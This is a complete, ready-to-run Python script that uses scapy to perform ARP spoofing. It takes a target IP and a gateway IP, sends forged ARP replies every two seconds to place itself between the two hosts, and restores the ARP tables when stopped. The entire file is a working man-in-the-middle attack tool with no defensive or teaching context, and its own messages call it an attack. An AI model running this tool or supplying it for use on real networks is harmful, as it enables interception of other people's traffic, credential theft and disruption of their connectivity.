from scapy.all import *
import time
import os
import sys

def check_root():
    if os.geteuid() != 0:
        print("This script requires root privileges. Please run as root.")
        sys.exit(1)

def get_mac(ip):
    """
    Get the MAC address of the target IP address
    """
    ans, _ = arping(ip)
    for s, r in ans:
        return r[Ether].src

def spoof(target_ip, spoof_ip):
    """
    Send an ARP reply packet to associate the attacker's MAC address with the spoofed IP address on the target machine
    """
    target_mac = get_mac(target_ip)
    if not target_mac:
        print(f"Unable to get the MAC address for the target {target_ip}")
        return

    # Send ARP reply packet
    send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip), verbose=False)

def restore(target_ip, spoof_ip):
    """
    Restore the ARP table in the network
    """
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)
    send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac), count=4, verbose=False)

if __name__ == "__main__":
    check_root()
    
    if len(sys.argv) == 3:
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    else:
        target_ip = input("Please enter the target IP address: ")
        gateway_ip = input("Please enter the gateway IP address: ")

    try:
        print("Starting ARP spoofing. Press Ctrl+C to stop.")
        while True:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
            time.sleep(2)
    except KeyboardInterrupt:
        print("Stopping attack...")
        restore(target_ip, gateway_ip)
        restore(gateway_ip, target_ip)
        print("Exited")
# pip install scapy
# sansjtw